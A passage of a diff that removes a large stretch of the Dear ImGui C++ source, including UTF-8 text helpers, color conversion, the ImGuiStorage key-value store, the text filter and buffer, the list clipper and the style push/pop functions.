(buf_out < buf_end - 1 && (!in_text_end || in_text < in_text_end) && *in_text) - { - unsigned int c; - in_text += ImTextCharFromUtf8(&c, in_text, in_text_end); - if (c == 0) - break; - *buf_out++ = (ImWchar)c; - } - *buf_out = 0; - if (in_text_remaining) - *in_text_remaining = in_text; - return (int)(buf_out - buf); -} - -int ImTextCountCharsFromUtf8(const char* in_text, const char* in_text_end) -{ - int char_count = 0; - while ((!in_text_end || in_text < in_text_end) && *in_text) - { - unsigned int c; - in_text += ImTextCharFromUtf8(&c, in_text, in_text_end); - if (c == 0) - break; - char_count++; - } - return char_count; -} - -// Based on stb_to_utf8() from github.com/nothings/stb/ -static inline int ImTextCharToUtf8(char* buf, int buf_size, unsigned int c) -{ - if (c < 0x80) - { - buf[0] = (char)c; - return 1; - } - if (c < 0x800) - { - if (buf_size < 2) return 0; - buf[0] = (char)(0xc0 + (c >> 6)); - buf[1] = (char)(0x80 + (c & 0x3f)); - return 2; - } - if (c < 0x10000) - { - if (buf_size < 3) return 0; - buf[0] = (char)(0xe0 + (c >> 12)); - buf[1] = (char)(0x80 + ((c >> 6) & 0x3f)); - buf[2] = (char)(0x80 + ((c ) & 0x3f)); - return 3; - } - if (c <= 0x10FFFF) - { - if (buf_size < 4) return 0; - buf[0] = (char)(0xf0 + (c >> 18)); - buf[1] = (char)(0x80 + ((c >> 12) & 0x3f)); - buf[2] = (char)(0x80 + ((c >> 6) & 0x3f)); - buf[3] = (char)(0x80 + ((c ) & 0x3f)); - return 4; - } - // Invalid code point, the max unicode is 0x10FFFF - return 0; -} - -// Not optimal but we very rarely use this function. -int ImTextCountUtf8BytesFromChar(const char* in_text, const char* in_text_end) -{ - unsigned int unused = 0; - return ImTextCharFromUtf8(&unused, in_text, in_text_end); -} - -static inline int ImTextCountUtf8BytesFromChar(unsigned int c) -{ - if (c < 0x80) return 1; - if (c < 0x800) return 2; - if (c < 0x10000) return 3; - if (c <= 0x10FFFF) return 4; - return 3; -} - -int ImTextStrToUtf8(char* buf, int buf_size, const ImWchar* in_text, const ImWchar* in_text_end) -{ - char* buf_out = buf; - const char* buf_end = buf + buf_size; - while (buf_out < buf_end - 1 && (!in_text_end || in_text < in_text_end) && *in_text) - { - unsigned int c = (unsigned int)(*in_text++); - if (c < 0x80) - *buf_out++ = (char)c; - else - buf_out += ImTextCharToUtf8(buf_out, (int)(buf_end - buf_out - 1), c); - } - *buf_out = 0; - return (int)(buf_out - buf); -} - -int ImTextCountUtf8BytesFromStr(const ImWchar* in_text, const ImWchar* in_text_end) -{ - int bytes_count = 0; - while ((!in_text_end || in_text < in_text_end) && *in_text) - { - unsigned int c = (unsigned int)(*in_text++); - if (c < 0x80) - bytes_count++; - else - bytes_count += ImTextCountUtf8BytesFromChar(c); - } - return bytes_count; -} - -//----------------------------------------------------------------------------- -// [SECTION] MISC HELPERS/UTILITIES (Color functions) -// Note: The Convert functions are early design which are not consistent with other API. -//----------------------------------------------------------------------------- - -IMGUI_API ImU32 ImAlphaBlendColors(ImU32 col_a, ImU32 col_b) -{ - float t = ((col_b >> IM_COL32_A_SHIFT) & 0xFF) / 255.f; - int r = ImLerp((int)(col_a >> IM_COL32_R_SHIFT) & 0xFF, (int)(col_b >> IM_COL32_R_SHIFT) & 0xFF, t); - int g = ImLerp((int)(col_a >> IM_COL32_G_SHIFT) & 0xFF, (int)(col_b >> IM_COL32_G_SHIFT) & 0xFF, t); - int b = ImLerp((int)(col_a >> IM_COL32_B_SHIFT) & 0xFF, (int)(col_b >> IM_COL32_B_SHIFT) & 0xFF, t); - return IM_COL32(r, g, b, 0xFF); -} - -ImVec4 ImGui::ColorConvertU32ToFloat4(ImU32 in) -{ - float s = 1.0f / 255.0f; - return ImVec4( - ((in >> IM_COL32_R_SHIFT) & 0xFF) * s, - ((in >> IM_COL32_G_SHIFT) & 0xFF) * s, - ((in >> IM_COL32_B_SHIFT) & 0xFF) * s, - ((in >> IM_COL32_A_SHIFT) & 0xFF) * s); -} - -ImU32 ImGui::ColorConvertFloat4ToU32(const ImVec4& in) -{ - ImU32 out; - out = ((ImU32)IM_F32_TO_INT8_SAT(in.x)) << IM_COL32_R_SHIFT; - out |= ((ImU32)IM_F32_TO_INT8_SAT(in.y)) << IM_COL32_G_SHIFT; - out |= ((ImU32)IM_F32_TO_INT8_SAT(in.z)) << IM_COL32_B_SHIFT; - out |= ((ImU32)IM_F32_TO_INT8_SAT(in.w)) << IM_COL32_A_SHIFT; - return out; -} - -// Convert rgb floats ([0-1],[0-1],[0-1]) to hsv floats ([0-1],[0-1],[0-1]), from Foley & van Dam p592 -// Optimized http://lolengine.net/blog/2013/01/13/fast-rgb-to-hsv -void ImGui::ColorConvertRGBtoHSV(float r, float g, float b, float& out_h, float& out_s, float& out_v) -{ - float K = 0.f; - if (g < b) - { - ImSwap(g, b); - K = -1.f; - } - if (r < g) - { - ImSwap(r, g); - K = -2.f / 6.f - K; - } - - const float chroma = r - (g < b ? g : b); - out_h = ImFabs(K + (g - b) / (6.f * chroma + 1e-20f)); - out_s = chroma / (r + 1e-20f); - out_v = r; -} - -// Convert hsv floats ([0-1],[0-1],[0-1]) to rgb floats ([0-1],[0-1],[0-1]), from Foley & van Dam p593 -// also http://en.wikipedia.org/wiki/HSL_and_HSV -void ImGui::ColorConvertHSVtoRGB(float h, float s, float v, float& out_r, float& out_g, float& out_b) -{ - if (s == 0.0f) - { - // gray - out_r = out_g = out_b = v; - return; - } - - h = ImFmod(h, 1.0f) / (60.0f / 360.0f); - int i = (int)h; - float f = h - (float)i; - float p = v * (1.0f - s); - float q = v * (1.0f - s * f); - float t = v * (1.0f - s * (1.0f - f)); - - switch (i) - { - case 0: out_r = v; out_g = t; out_b = p; break; - case 1: out_r = q; out_g = v; out_b = p; break; - case 2: out_r = p; out_g = v; out_b = t; break; - case 3: out_r = p; out_g = q; out_b = v; break; - case 4: out_r = t; out_g = p; out_b = v; break; - case 5: default: out_r = v; out_g = p; out_b = q; break; - } -} - -//----------------------------------------------------------------------------- -// [SECTION] ImGuiStorage -// Helper: Key->value storage -//----------------------------------------------------------------------------- - -// std::lower_bound but without the bullshit -static ImGuiStorage::ImGuiStoragePair* LowerBound(ImVector& data, ImGuiID key) -{ - ImGuiStorage::ImGuiStoragePair* first = data.Data; - ImGuiStorage::ImGuiStoragePair* last = data.Data + data.Size; - size_t count = (size_t)(last - first); - while (count > 0) - { - size_t count2 = count >> 1; - ImGuiStorage::ImGuiStoragePair* mid = first + count2; - if (mid->key < key) - { - first = ++mid; - count -= count2 + 1; - } - else - { - count = count2; - } - } - return first; -} - -// For quicker full rebuild of a storage (instead of an incremental one), you may add all your contents and then sort once. -void ImGuiStorage::BuildSortByKey() -{ - struct StaticFunc - { - static int IMGUI_CDECL PairCompareByID(const void* lhs, const void* rhs) - { - // We can't just do a subtraction because qsort uses signed integers and subtracting our ID doesn't play well with that. - if (((const ImGuiStoragePair*)lhs)->key > ((const ImGuiStoragePair*)rhs)->key) return +1; - if (((const ImGuiStoragePair*)lhs)->key < ((const ImGuiStoragePair*)rhs)->key) return -1; - return 0; - } - }; - if (Data.Size > 1) - ImQsort(Data.Data, (size_t)Data.Size, sizeof(ImGuiStoragePair), StaticFunc::PairCompareByID); -} - -int ImGuiStorage::GetInt(ImGuiID key, int default_val) const -{ - ImGuiStoragePair* it = LowerBound(const_cast&>(Data), key); - if (it == Data.end() || it->key != key) - return default_val; - return it->val_i; -} - -bool ImGuiStorage::GetBool(ImGuiID key, bool default_val) const -{ - return GetInt(key, default_val ? 1 : 0) != 0; -} - -float ImGuiStorage::GetFloat(ImGuiID key, float default_val) const -{ - ImGuiStoragePair* it = LowerBound(const_cast&>(Data), key); - if (it == Data.end() || it->key != key) - return default_val; - return it->val_f; -} - -void* ImGuiStorage::GetVoidPtr(ImGuiID key) const -{ - ImGuiStoragePair* it = LowerBound(const_cast&>(Data), key); - if (it == Data.end() || it->key != key) - return NULL; - return it->val_p; -} - -// References are only valid until a new value is added to the storage. Calling a Set***() function or a Get***Ref() function invalidates the pointer. -int* ImGuiStorage::GetIntRef(ImGuiID key, int default_val) -{ - ImGuiStoragePair* it = LowerBound(Data, key); - if (it == Data.end() || it->key != key) - it = Data.insert(it, ImGuiStoragePair(key, default_val)); - return &it->val_i; -} - -bool* ImGuiStorage::GetBoolRef(ImGuiID key, bool default_val) -{ - return (bool*)GetIntRef(key, default_val ? 1 : 0); -} - -float* ImGuiStorage::GetFloatRef(ImGuiID key, float default_val) -{ - ImGuiStoragePair* it = LowerBound(Data, key); - if (it == Data.end() || it->key != key) - it = Data.insert(it, ImGuiStoragePair(key, default_val)); - return &it->val_f; -} - -void** ImGuiStorage::GetVoidPtrRef(ImGuiID key, void* default_val) -{ - ImGuiStoragePair* it = LowerBound(Data, key); - if (it == Data.end() || it->key != key) - it = Data.insert(it, ImGuiStoragePair(key, default_val)); - return &it->val_p; -} - -// FIXME-OPT: Need a way to reuse the result of lower_bound when doing GetInt()/SetInt() - not too bad because it only happens on explicit interaction (maximum one a frame) -void ImGuiStorage::SetInt(ImGuiID key, int val) -{ - ImGuiStoragePair* it = LowerBound(Data, key); - if (it == Data.end() || it->key != key) - { - Data.insert(it, ImGuiStoragePair(key, val)); - return; - } - it->val_i = val; -} - -void ImGuiStorage::SetBool(ImGuiID key, bool val) -{ - SetInt(key, val ? 1 : 0); -} - -void ImGuiStorage::SetFloat(ImGuiID key, float val) -{ - ImGuiStoragePair* it = LowerBound(Data, key); - if (it == Data.end() || it->key != key) - { - Data.insert(it, ImGuiStoragePair(key, val)); - return; - } - it->val_f = val; -} - -void ImGuiStorage::SetVoidPtr(ImGuiID key, void* val) -{ - ImGuiStoragePair* it = LowerBound(Data, key); - if (it == Data.end() || it->key != key) - { - Data.insert(it, ImGuiStoragePair(key, val)); - return; - } - it->val_p = val; -} - -void ImGuiStorage::SetAllInt(int v) -{ - for (int i = 0; i < Data.Size; i++) - Data[i].val_i = v; -} - -//----------------------------------------------------------------------------- -// [SECTION] ImGuiTextFilter -//----------------------------------------------------------------------------- - -// Helper: Parse and apply text filters. In format "aaaaa[,bbbb][,ccccc]" -ImGuiTextFilter::ImGuiTextFilter(const char* default_filter) -{ - if (default_filter) - { - ImStrncpy(InputBuf, default_filter, IM_ARRAYSIZE(InputBuf)); - Build(); - } - else - { - InputBuf[0] = 0; - CountGrep = 0; - } -} - -bool ImGuiTextFilter::Draw(const char* label, float width) -{ - if (width != 0.0f) - ImGui::SetNextItemWidth(width); - bool value_changed = ImGui::InputText(label, InputBuf, IM_ARRAYSIZE(InputBuf)); - if (value_changed) - Build(); - return value_changed; -} - -void ImGuiTextFilter::ImGuiTextRange::split(char separator, ImVector* out) const -{ - out->resize(0); - const char* wb = b; - const char* we = wb; - while (we < e) - { - if (*we == separator) - { - out->push_back(ImGuiTextRange(wb, we)); - wb = we + 1; - } - we++; - } - if (wb != we) - out->push_back(ImGuiTextRange(wb, we)); -} - -void ImGuiTextFilter::Build() -{ - Filters.resize(0); - ImGuiTextRange input_range(InputBuf, InputBuf + strlen(InputBuf)); - input_range.split(',', &Filters); - - CountGrep = 0; - for (int i = 0; i != Filters.Size; i++) - { - ImGuiTextRange& f = Filters[i]; - while (f.b < f.e && ImCharIsBlankA(f.b[0])) - f.b++; - while (f.e > f.b && ImCharIsBlankA(f.e[-1])) - f.e--; - if (f.empty()) - continue; - if (Filters[i].b[0] != '-') - CountGrep += 1; - } -} - -bool ImGuiTextFilter::PassFilter(const char* text, const char* text_end) const -{ - if (Filters.empty()) - return true; - - if (text == NULL) - text = ""; - - for (int i = 0; i != Filters.Size; i++) - { - const ImGuiTextRange& f = Filters[i]; - if (f.empty()) - continue; - if (f.b[0] == '-') - { - // Subtract - if (ImStristr(text, text_end, f.b + 1, f.e) != NULL) - return false; - } - else - { - // Grep - if (ImStristr(text, text_end, f.b, f.e) != NULL) - return true; - } - } - - // Implicit * grep - if (CountGrep == 0) - return true; - - return false; -} - -//----------------------------------------------------------------------------- -// [SECTION] ImGuiTextBuffer -//----------------------------------------------------------------------------- - -// On some platform vsnprintf() takes va_list by reference and modifies it. -// va_copy is the 'correct' way to copy a va_list but Visual Studio prior to 2013 doesn't have it. -#ifndef va_copy -#if defined(__GNUC__) || defined(__clang__) -#define va_copy(dest, src) __builtin_va_copy(dest, src) -#else -#define va_copy(dest, src) (dest = src) -#endif -#endif - -char ImGuiTextBuffer::EmptyString[1] = { 0 }; - -void ImGuiTextBuffer::append(const char* str, const char* str_end) -{ - int len = str_end ? (int)(str_end - str) : (int)strlen(str); - - // Add zero-terminator the first time - const int write_off = (Buf.Size != 0) ? Buf.Size : 1; - const int needed_sz = write_off + len; - if (write_off + len >= Buf.Capacity) - { - int new_capacity = Buf.Capacity * 2; - Buf.reserve(needed_sz > new_capacity ? needed_sz : new_capacity); - } - - Buf.resize(needed_sz); - memcpy(&Buf[write_off - 1], str, (size_t)len); - Buf[write_off - 1 + len] = 0; -} - -void ImGuiTextBuffer::appendf(const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - appendfv(fmt, args); - va_end(args); -} - -// Helper: Text buffer for logging/accumulating text -void ImGuiTextBuffer::appendfv(const char* fmt, va_list args) -{ - va_list args_copy; - va_copy(args_copy, args); - - int len = ImFormatStringV(NULL, 0, fmt, args); // FIXME-OPT: could do a first pass write attempt, likely successful on first pass. - if (len <= 0) - { - va_end(args_copy); - return; - } - - // Add zero-terminator the first time - const int write_off = (Buf.Size != 0) ? Buf.Size : 1; - const int needed_sz = write_off + len; - if (write_off + len >= Buf.Capacity) - { - int new_capacity = Buf.Capacity * 2; - Buf.reserve(needed_sz > new_capacity ? needed_sz : new_capacity); - } - - Buf.resize(needed_sz); - ImFormatStringV(&Buf[write_off - 1], (size_t)len + 1, fmt, args_copy); - va_end(args_copy); -} - -//----------------------------------------------------------------------------- -// [SECTION] ImGuiListClipper -// This is currently not as flexible/powerful as it should be and really confusing/spaghetti, mostly because we changed -// the API mid-way through development and support two ways to using the clipper, needs some rework (see TODO) -//----------------------------------------------------------------------------- - -// FIXME-TABLE: This prevents us from using ImGuiListClipper _inside_ a table cell. -// The problem we have is that without a Begin/End scheme for rows using the clipper is ambiguous. -static bool GetSkipItemForListClipping() -{ - ImGuiContext& g = *GImGui; - return (g.CurrentTable ? g.CurrentTable->HostSkipItems : g.CurrentWindow->SkipItems); -} - -// Helper to calculate coarse clipping of large list of evenly sized items. -// NB: Prefer using the ImGuiListClipper higher-level helper if you can! Read comments and instructions there on how those use this sort of pattern. -// NB: 'items_count' is only used to clamp the result, if you don't know your count you can use INT_MAX -void ImGui::CalcListClipping(int items_count, float items_height, int* out_items_display_start, int* out_items_display_end) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (g.LogEnabled) - { - // If logging is active, do not perform any clipping - *out_items_display_start = 0; - *out_items_display_end = items_count; - return; - } - if (GetSkipItemForListClipping()) - { - *out_items_display_start = *out_items_display_end = 0; - return; - } - - // We create the union of the ClipRect and the NavScoringRect which at worst should be 1 page away from ClipRect - ImRect unclipped_rect = window->ClipRect; - if (g.NavMoveRequest) - unclipped_rect.Add(g.NavScoringRect); - if (g.NavJustMovedToId && window->NavLastIds[0] == g.NavJustMovedToId) - unclipped_rect.Add(ImRect(window->Pos + window->NavRectRel[0].Min, window->Pos + window->NavRectRel[0].Max)); - - const ImVec2 pos = window->DC.CursorPos; - int start = (int)((unclipped_rect.Min.y - pos.y) / items_height); - int end = (int)((unclipped_rect.Max.y - pos.y) / items_height); - - // When performing a navigation request, ensure we have one item extra in the direction we are moving to - if (g.NavMoveRequest && g.NavMoveClipDir == ImGuiDir_Up) - start--; - if (g.NavMoveRequest && g.NavMoveClipDir == ImGuiDir_Down) - end++; - - start = ImClamp(start, 0, items_count); - end = ImClamp(end + 1, start, items_count); - *out_items_display_start = start; - *out_items_display_end = end; -} - -static void SetCursorPosYAndSetupForPrevLine(float pos_y, float line_height) -{ - // Set cursor position and a few other things so that SetScrollHereY() and Columns() can work when seeking cursor. - // FIXME: It is problematic that we have to do that here, because custom/equivalent end-user code would stumble on the same issue. - // The clipper should probably have a 4th step to display the last item in a regular manner. - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - float off_y = pos_y - window->DC.CursorPos.y; - window->DC.CursorPos.y = pos_y; - window->DC.CursorMaxPos.y = ImMax(window->DC.CursorMaxPos.y, pos_y); - window->DC.CursorPosPrevLine.y = window->DC.CursorPos.y - line_height; // Setting those fields so that SetScrollHereY() can properly function after the end of our clipper usage. - window->DC.PrevLineSize.y = (line_height - g.Style.ItemSpacing.y); // If we end up needing more accurate data (to e.g. use SameLine) we may as well make the clipper have a fourth step to let user process and display the last item in their list. - if (ImGuiOldColumns* columns = window->DC.CurrentColumns) - columns->LineMinY = window->DC.CursorPos.y; // Setting this so that cell Y position are set properly - if (ImGuiTable* table = g.CurrentTable) - { - if (table->IsInsideRow) - ImGui::TableEndRow(table); - table->RowPosY2 = window->DC.CursorPos.y; - const int row_increase = (int)((off_y / line_height) + 0.5f); - //table->CurrentRow += row_increase; // Can't do without fixing TableEndRow() - table->RowBgColorCounter += row_increase; - } -} - -ImGuiListClipper::ImGuiListClipper() -{ - memset(this, 0, sizeof(*this)); - ItemsCount = -1; -} - -ImGuiListClipper::~ImGuiListClipper() -{ - IM_ASSERT(ItemsCount == -1 && "Forgot to call End(), or to Step() until false?"); -} - -// Use case A: Begin() called from constructor with items_height<0, then called again from Step() in StepNo 1 -// Use case B: Begin() called from constructor with items_height>0 -// FIXME-LEGACY: Ideally we should remove the Begin/End functions but they are part of the legacy API we still support. This is why some of the code in Step() calling Begin() and reassign some fields, spaghetti style. -void ImGuiListClipper::Begin(int items_count, float items_height) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - if (ImGuiTable* table = g.CurrentTable) - if (table->IsInsideRow) - ImGui::TableEndRow(table); - - StartPosY = window->DC.CursorPos.y; - ItemsHeight = items_height; - ItemsCount = items_count; - ItemsFrozen = 0; - StepNo = 0; - DisplayStart = -1; - DisplayEnd = 0; -} - -void ImGuiListClipper::End() -{ - if (ItemsCount < 0) // Already ended - return; - - // In theory here we should assert that ImGui::GetCursorPosY() == StartPosY + DisplayEnd * ItemsHeight, but it feels saner to just seek at the end and not assert/crash the user. - if (ItemsCount < INT_MAX && DisplayStart >= 0) - SetCursorPosYAndSetupForPrevLine(StartPosY + (ItemsCount - ItemsFrozen) * ItemsHeight, ItemsHeight); - ItemsCount = -1; - StepNo = 3; -} - -bool ImGuiListClipper::Step() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - ImGuiTable* table = g.CurrentTable; - if (table && table->IsInsideRow) - ImGui::TableEndRow(table); - - // No items - if (ItemsCount == 0 || GetSkipItemForListClipping()) - { - End(); - return false; - } - - // Step 0: Let you process the first element (regardless of it being visible or not, so we can measure the element height) - if (StepNo == 0) - { - // While we are in frozen row state, keep displaying items one by one, unclipped - // FIXME: Could be stored as a table-agnostic state. - if (table != NULL && !table->IsUnfrozenRows) - { - DisplayStart = ItemsFrozen; - DisplayEnd = ItemsFrozen + 1; - ItemsFrozen++; - return true; - } - - StartPosY = window->DC.CursorPos.y; - if (ItemsHeight <= 0.0f) - { - // Submit the first item so we can measure its height (generally it is 0..1) - DisplayStart = ItemsFrozen; - DisplayEnd = ItemsFrozen + 1; - StepNo = 1; - return true; - } - - // Already has item height (given by user in Begin): skip to calculating step - DisplayStart = DisplayEnd; - StepNo = 2; - } - - // Step 1: the clipper infer height from first element - if (StepNo == 1) - { - IM_ASSERT(ItemsHeight <= 0.0f); - if (table) - { - const float pos_y1 = table->RowPosY1; // Using this instead of StartPosY to handle clipper straddling the frozen row - const float pos_y2 = table->RowPosY2; // Using this instead of CursorPos.y to take account of tallest cell. - ItemsHeight = pos_y2 - pos_y1; - window->DC.CursorPos.y = pos_y2; - } - else - { - ItemsHeight = window->DC.CursorPos.y - StartPosY; - } - IM_ASSERT(ItemsHeight > 0.0f && "Unable to calculate item height! First item hasn't moved the cursor vertically!"); - StepNo = 2; - } - - // Reached end of list - if (DisplayEnd >= ItemsCount) - { - End(); - return false; - } - - // Step 2: calculate the actual range of elements to display, and position the cursor before the first element - if (StepNo == 2) - { - IM_ASSERT(ItemsHeight > 0.0f); - - int already_submitted = DisplayEnd; - ImGui::CalcListClipping(ItemsCount - already_submitted, ItemsHeight, &DisplayStart, &DisplayEnd); - DisplayStart += already_submitted; - DisplayEnd += already_submitted; - - // Seek cursor - if (DisplayStart > already_submitted) - SetCursorPosYAndSetupForPrevLine(StartPosY + (DisplayStart - ItemsFrozen) * ItemsHeight, ItemsHeight); - - StepNo = 3; - return true; - } - - // Step 3: the clipper validate that we have reached the expected Y position (corresponding to element DisplayEnd), - // Advance the cursor to the end of the list and then returns 'false' to end the loop. - if (StepNo == 3) - { - // Seek cursor - if (ItemsCount < INT_MAX) - SetCursorPosYAndSetupForPrevLine(StartPosY + (ItemsCount - ItemsFrozen) * ItemsHeight, ItemsHeight); // advance cursor - ItemsCount = -1; - return false; - } - - IM_ASSERT(0); - return false; -} - -//----------------------------------------------------------------------------- -// [SECTION] STYLING -//----------------------------------------------------------------------------- - -ImGuiStyle& ImGui::GetStyle() -{ - IM_ASSERT(GImGui != NULL && "No current context. Did you call ImGui::CreateContext() and ImGui::SetCurrentContext() ?"); - return GImGui->Style; -} - -ImU32 ImGui::GetColorU32(ImGuiCol idx, float alpha_mul) -{ - ImGuiStyle& style = GImGui->Style; - ImVec4 c = style.Colors[idx]; - c.w *= style.Alpha * alpha_mul; - return ColorConvertFloat4ToU32(c); -} - -ImU32 ImGui::GetColorU32(const ImVec4& col) -{ - ImGuiStyle& style = GImGui->Style; - ImVec4 c = col; - c.w *= style.Alpha; - return ColorConvertFloat4ToU32(c); -} - -const ImVec4& ImGui::GetStyleColorVec4(ImGuiCol idx) -{ - ImGuiStyle& style = GImGui->Style; - return style.Colors[idx]; -} - -ImU32 ImGui::GetColorU32(ImU32 col) -{ - ImGuiStyle& style = GImGui->Style; - if (style.Alpha >= 1.0f) - return col; - ImU32 a = (col & IM_COL32_A_MASK) >> IM_COL32_A_SHIFT; - a = (ImU32)(a * style.Alpha); // We don't need to clamp 0..255 because Style.Alpha is in 0..1 range. - return (col & ~IM_COL32_A_MASK) | (a << IM_COL32_A_SHIFT); -} - -// FIXME: This may incur a round-trip (if the end user got their data from a float4) but eventually we aim to store the in-flight colors as ImU32 -void ImGui::PushStyleColor(ImGuiCol idx, ImU32 col) -{ - ImGuiContext& g = *GImGui; - ImGuiColorMod backup; - backup.Col = idx; - backup.BackupValue = g.Style.Colors[idx]; - g.ColorStack.push_back(backup); - g.Style.Colors[idx] = ColorConvertU32ToFloat4(col); -} - -void ImGui::PushStyleColor(ImGuiCol idx, const ImVec4& col) -{ - ImGuiContext& g = *GImGui; - ImGuiColorMod backup; - backup.Col = idx; - backup.BackupValue = g.Style.Colors[idx]; - g.ColorStack.push_back(backup); - g.Style.Colors[idx] = col; -} - -void ImGui::PopStyleColor(int count) -{ - ImGuiContext& g = *GImGui; - while (count > 0) - { - ImGuiColorMod& backup = g.ColorStack.back(); - g.Style.Colors[backup.Col] = backup.BackupValue; - g.ColorStack.pop_back(); - count--; - } -} - -struct ImGuiStyleVarInfo -{ - ImGuiDataType Type; - ImU32 Count; - ImU32 Offset; - void* GetVarPtr(ImGuiStyle* style) const { return (void*)((unsigned char*)style + Offset); } -}; - -static const ImGuiStyleVarInfo GStyleVarInfo[] = -{ - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, Alpha) }, // ImGuiStyleVar_Alpha - { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, WindowPadding) }, // ImGuiStyleVar_WindowPadding - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, WindowRounding) }, // ImGuiStyleVar_WindowRounding - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, WindowBorderSize) }, // ImGuiStyleVar_WindowBorderSize - { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, WindowMinSize) }, // ImGuiStyleVar_WindowMinSize - { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, WindowTitleAlign) }, // ImGuiStyleVar_WindowTitleAlign - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, ChildRounding) }, // ImGuiStyleVar_ChildRounding - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, ChildBorderSize) }, // ImGuiStyleVar_ChildBorderSize - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, PopupRounding) }, // ImGuiStyleVar_PopupRounding - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, PopupBorderSize) }, // ImGuiStyleVar_PopupBorderSize - { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, FramePadding) }, // ImGuiStyleVar_FramePadding - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, FrameRounding) }, // ImGuiStyleVar_FrameRounding - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, FrameBorderSize) }, // ImGuiStyleVar_FrameBorderSize - { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, ItemSpacing) }, // ImGuiStyleVar_ItemSpacing - { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, ItemInnerSpacing) }, // ImGuiStyleVar_ItemInnerSpacing - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, IndentSpacing) }, // ImGuiStyleVar_IndentSpacing - { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, CellPadding) }, // ImGuiStyleVar_CellPadding - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, ScrollbarSize) }, // ImGuiStyleVar_ScrollbarSize - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, ScrollbarRounding) }, // ImGuiStyleVar_ScrollbarRounding - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, GrabMinSize) }, // ImGuiStyleVar_GrabMinSize - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, GrabRounding) }, // ImGuiStyleVar_GrabRounding - { ImGuiDataType_Float, 1, (ImU32)IM_OFFSETOF(ImGuiStyle, TabRounding) }, // ImGuiStyleVar_TabRounding - { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, ButtonTextAlign) }, // ImGuiStyleVar_ButtonTextAlign - { ImGuiDataType_Float, 2, (ImU32)IM_OFFSETOF(ImGuiStyle, SelectableTextAlign) }, // ImGuiStyleVar_SelectableTextAlign -}; - -static const ImGuiStyleVarInfo* GetStyleVarInfo(ImGuiStyleVar idx) -{ - IM_ASSERT(idx >= 0 && idx < ImGuiStyleVar_COUNT); - IM_ASSERT(IM_ARRAYSIZE(GStyleVarInfo) == ImGuiStyleVar_COUNT); - return &GStyleVarInfo[idx]; -} - -void ImGui::PushStyleVar(ImGuiStyleVar idx, float val) -{ - const ImGuiStyleVarInfo* var_info = GetStyleVarInfo(idx); - if (var_info->Type == ImGuiDataType_Float && var_info->Count == 1) - { - ImGuiContext& g = *GImGui; - float* pvar = (float*)var_info->GetVarPtr(&g.Style); - g.StyleVarStack.push_back(ImGuiStyleMod(idx, *pvar)); - *pvar = val; - return; - } - IM_ASSERT(0 && "Called PushStyleVar() float variant but variable is not a float!"); -} - -void ImGui::PushStyleVar(ImGuiStyleVar idx, const ImVec2& val) -{ - const ImGuiStyleVarInfo* var_info = GetStyleVarInfo(idx); - if (var_info->Type == ImGuiDataType_Float && var_info->Count == 2) - { - ImGuiContext& g = *GImGui; - ImVec2* pvar = (ImVec2*)var_info->GetVarPtr(&g.Style); - g.StyleVarStack.push_back(ImGuiStyleMod(idx, *pvar)); - *pvar = val; - return; - } - IM_ASSERT(0 && "Called PushStyleVar() ImVec2 variant but variable is not a ImVec2!"); -} - -void ImGui::PopStyleVar(int count) -{ - ImGuiContext& g = *GImGui; - while (count > 0) - { - // We avoid a generic memcpy(data, &backup.Backup.., GDataTypeSize[info->Type] * info->Count), the overhead in Debug is not worth it. - ImGuiStyleMod& backup = g.StyleVarStack.back(); - const ImGuiStyleVarInfo* info = GetStyleVarInfo(backup.VarIdx); - void* data = info->GetVarPtr(&g.Style); - if (info->Type == ImGuiDataType_Float && info->Count == 1) { ((float*)data)[0] = backup.BackupFloat[0]; } - else if (info->Type == ImGuiDataType_Float && info->Count == 2) { ((float*)data)[0] = backup.BackupFloat[0]; ((float*)data)[1] = backup.BackupFloat[1]; } - g.StyleVarStack.pop_back(); - count--; - } -} - -const char* ImGui::GetStyleColorName(ImGuiCol idx) -{ - // Create switch-case from enum with regexp: ImGuiCol_{.*}, --> case ImGuiCol_\1: return "\1"; - switch (idx) - { - case ImGuiCol_Text: return "Text"; - case ImGuiCol_TextDisabled: return "TextDisabled"; - case ImGuiCol_WindowBg: return "WindowBg"; - case ImGuiCol_ChildBg: return "ChildBg"; - case ImGuiCol_PopupBg: return "PopupBg"; - case ImGuiCol_Border: return "Border"; - case ImGuiCol_BorderShadow: return "BorderShadow"; - case ImGuiCol_FrameBg: return "FrameBg"; - case ImGuiCol_FrameBgHovered: return "FrameBgHovered"; - case ImGuiCol_FrameBgActive: return "FrameBgActive"; - case ImGuiCol_TitleBg: return "TitleBg"; - case 